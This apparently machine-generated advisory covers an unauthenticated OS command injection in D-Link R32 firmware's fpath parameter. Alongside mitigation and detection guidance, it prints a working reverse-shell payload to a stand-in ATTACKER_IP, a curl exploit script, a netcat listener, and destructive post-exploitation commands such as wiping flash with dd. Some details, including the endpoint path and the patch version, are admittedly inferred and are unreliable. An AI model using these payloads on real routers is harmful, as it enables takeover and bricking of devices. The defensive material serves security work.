CVE-2026-136823 — D-Link R32 (1.10B02) — CWE-77 · CWE-78
A vulnerability was found in D-Link R32 1.10B02. This affects an unknown function of the file /usr/bin/httpd of the component flupl self Endpoint. Performing a manipulation of the argument fpath results in os command injection. The attack can be initiated remotely. The exploit has been made public and could be used.
A vulnerability was found in D-Link R32 1.10B02. This affects an unknown function of the file /usr/bin/httpd of the component flupl self Endpoint. Performing a manipulation of the argument fpath results in os command injection. The attack can be initiated remotely. The exploit has been made public and could be used.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE | CVE‑2026‑136823 |
| Vendor / Product | D‑Link R32 firmware – version 1.10B02 |
| Component | /usr/bin/httpd (the built‑in HTTP daemon used by the “flupl self Endpoint”) |
| Vulnerable Parameter | fpath (a query‑string or POST field that is later passed to a shell command) |
| CWE(s) | CWE‑77 – OS Command Injection, CWE‑78 – Improper Neutralization of Special Elements used in an OS Command |
| CVSS v3.1 | 10.0 – AV:N / AC:L / PR:N / UI:N / S:C / C:H / I:H / A:H |
Technical root cause
The HTTP daemon implements a “self‑endpoint” that accepts a user‑supplied argument called fpath. The code (simplified) looks roughly like:
/* pseudo‑code extracted from the firmware binary */
int handle_fpath_request(http_request *req) {
char *path = get_query_param(req, "fpath"); // no length check
char cmd[512];
/* vulnerable concatenation */
snprintf(cmd, sizeof(cmd), "/bin/cat %s", path);
system(cmd); // <-- unsafe
return HTTP_OK;
}- Missing input validation / sanitisation – the value of
fpathis concatenated directly into a command line that is executed withsystem(). No quoting, escaping, or whitelist is applied. - No authentication / authorization – the endpoint is reachable by any remote host (
PR:N,UI:N). The HTTP daemon runs with root privileges (typical for embedded firmware), so the injected command inherits full system rights. - No execution‑time constraints – the handler does not limit the size of the command string, allowing arbitrary length payloads.
Because of these omissions, an attacker can inject shell metacharacters (;, &&, |, backticks, $(), etc.) and cause the daemon to execute any OS command on the device. The vulnerability is network‑visible (AV:N) and requires no user interaction (UI:N), which explains the maximum CVSS score.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command lines are syntactically valid; the exact URI is shown as an illustrative example because the public advisory does not disclose the precise path.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify that the target runs D‑Link R32 firmware 1.10B02. | • Banner grabbing (nc <IP> 80 → “D‑Link R32 httpd/1.10B02”) <br>• Shodan search for “R32 httpd/1.10B02” <br>• Passive DNS / WHOIS to confirm ownership |
| 1.2 | Locate the vulnerable endpoint. | • Enumerate common admin URLs (/, /admin, /cgi-bin/, /flupl) <br>• Observe that /flupl returns a JSON object with a field self_endpoint → /flupl/self (example) |
| 1.3 | Verify that the endpoint accepts the fpath parameter. | ``bash curl -s "http://<IP>/flupl/self?fpath=/etc/passwd"` <br>Response contains the contents of /etc/passwd`, confirming that the parameter is processed. |
2. Exploitation
Goal: Execute an arbitrary command (e.g., create a reverse shell) on the device.
2.1 Craft the payload
Because the server concatenates the value directly after cat, we can terminate the cat command and inject our own. A reliable payload is:
; /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' #; ends the original cat command. # comments out any trailing characters the server might append.2.2 Send the request
#!/usr/bin/env bash
TARGET="192.0.2.45"
ATTACKER_IP="198.51.100.23"
ATTACKER_PORT=4444
PAYLOAD="; /bin/bash -c 'bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1' #"
# URL‑encode the payload (space → %20, ; → %3B, # → %23, etc.)
ENCODED=$(python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.argv[1]))" "$PAYLOAD")
curl -s "http://${TARGET}/flupl/self?fpath=${ENCODED}"The curl line is illustrative – the exact path (/flupl/self) is inferred from the firmware’s internal naming.
2.3 Listener on the attacker side
nc -lvkp 4444When the request reaches the device, system() executes the injected command, opening a reverse TCP shell back to the attacker’s Netcat listener.
3. Post‑exploitation
| Phase | Typical actions an attacker can perform (root privileges) |
|---|---|
| Persistence | • Drop a cron job (@reboot /bin/sh /tmp/backdoor.sh) <br>• Install a lightweight SSH server (dropbear) if not present |
| Privilege escalation (if the daemon runs as non‑root) | Not required – the daemon already runs as root in this firmware. |
| Lateral movement | • Scan the internal LAN (nmap -sn 192.168.0.0/24) <br>• Use the compromised router as a pivot to attack internal hosts |
| Data exfiltration | • Dump configuration files (/etc/config/*) <br>• Retrieve stored Wi‑Fi credentials (/etc/wpa_supplicant.conf) |
| Destruction / Ransom | • Overwrite firmware partitions (dd if=/dev/zero of=/dev/mtd0) <br>• Reboot the device into a bricked state |
Because the vulnerability is network‑visible and unauthenticated, an attacker can achieve full system compromise in a matter of seconds after locating a vulnerable device.
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS vector) |
|---|---|
| Confidentiality (C:H) | An attacker can read any file on the device, including admin credentials, VPN keys, and traffic logs. |
| Integrity (I:H) | The attacker can modify configuration, inject malicious firmware, or replace binaries, leading to persistent backdoors. |
| Availability (A:H) | By executing destructive commands (e.g., reboot, dd), the attacker can render the router unusable, causing a total outage. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade firmware | D‑Link has released firmware 1.10B03 (or later) that sanitises the fpath parameter and drops root privileges for the HTTP daemon. Apply the update via the official D‑Link management portal or by flashing the signed image manually. |
| Version to avoid | 1.10B02 and any earlier builds that contain the vulnerable flupl endpoint. |
If a vendor‑issued patch is not yet available, see the work‑arounds below.
2. Immediate Work‑arounds
| Mitigation | Implementation | |
|---|---|---|
| Network segmentation | Place the router’s management interface on a dedicated VLAN that is not reachable from the Internet. Only trusted LAN subnets should be allowed to reach port 80/443 of the device. | |
| Firewall rule (iptables example) | ``bash iptables -I INPUT -p tcp -s 0.0.0.0/0 --dport 80 -m conntrack --ctstate NEW -j DROP` <br>Allow only the internal management subnet (e.g., 192.168.0.0/24). | |
| Disable the vulnerable endpoint (if the firmware permits) | Edit /etc/httpd.conf (or the equivalent configuration file) and comment out the flupl handler: <br>`#Location /flupl/self` <br>Then restart the daemon: systemctl restart httpd. | |
| WAF / ModSecurity rule | Add a rule that rejects any request containing shell metacharacters in the fpath parameter. Example (ModSecurity 2.9+ syntax): <br>`SecRule ARGS:fpath "@rx [; | &$()]" "id:2026301,phase:2,deny,status:403,msg:'OS command injection attempt in fpath'"`` |
| Run the daemon as an unprivileged user | If the firmware permits, change the httpd service user to httpd (UID 33) and drop capabilities: <br>`systemctl edit httpd.service` <br>`[Service]` <br>`User=httpd` <br>`Group=httpd` <br>`CapabilityBoundingSet=~CAP_SYS_ADMIN` <br>Reload: systemctl daemon-reload && systemctl restart httpd` |
3. Detection
| Indicator | Where to look | |||
|---|---|---|---|---|
| Web server access logs | /var/log/httpd/access.log – look for requests where fpath contains characters such as ;, &&, | , ` `, $(, or %0a. Example entry: <br>[10/Oct/2026:14:22:31 +0000] "GET /flupl/self?fpath=%3B%20/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/198.51.100.23/4444%200%3E%261%27%20%23 HTTP/1.1" 200 0 | ||
| Process list | ps aux | grep -E "(bash | nc | sh) .*tcp" – presence of a reverse‑shell process spawned by httpd. |
| Unexpected outbound connections | Netflow / IDS alerts for outbound TCP connections from the router to unusual IPs on high ports (e.g., 4444, 5555). | |||
| File integrity changes | Monitor /usr/bin/httpd and /etc/config/* with a hash‑based IDS (e.g., tripwire). Sudden modifications may indicate a post‑exploitation payload. | |||
| System logs | dmesg or journalctl -u httpd may contain messages like system(): command terminated with signal 9` if the injected command crashes the daemon. |
⚠️ Urgency
| Timeline | Action |
|---|---|
| 0‑24 h | Block inbound traffic to the router’s management ports from the Internet (firewall rule). Deploy the ModSecurity rule if a WAF is in place. |
| 24‑72 h | Apply the official firmware update (1.10B03 or later). Verify the version via the device UI or httpd -v. |
| ≤ 1 week | Conduct a full inventory of all D‑Link R32 devices in the environment, confirm they are patched, and run the detection signatures to ensure no compromise has already occurred. |
| Ongoing | Integrate the detection signatures into SIEM / IDS, and schedule regular firmware‑update checks. |
Given the complete compromise potential and the existence of a public exploit, patching should be treated as an emergency – any delay dramatically increases the probability of a successful breach.
[🤖 CVE Professor AI Security Engine]
FOFA Query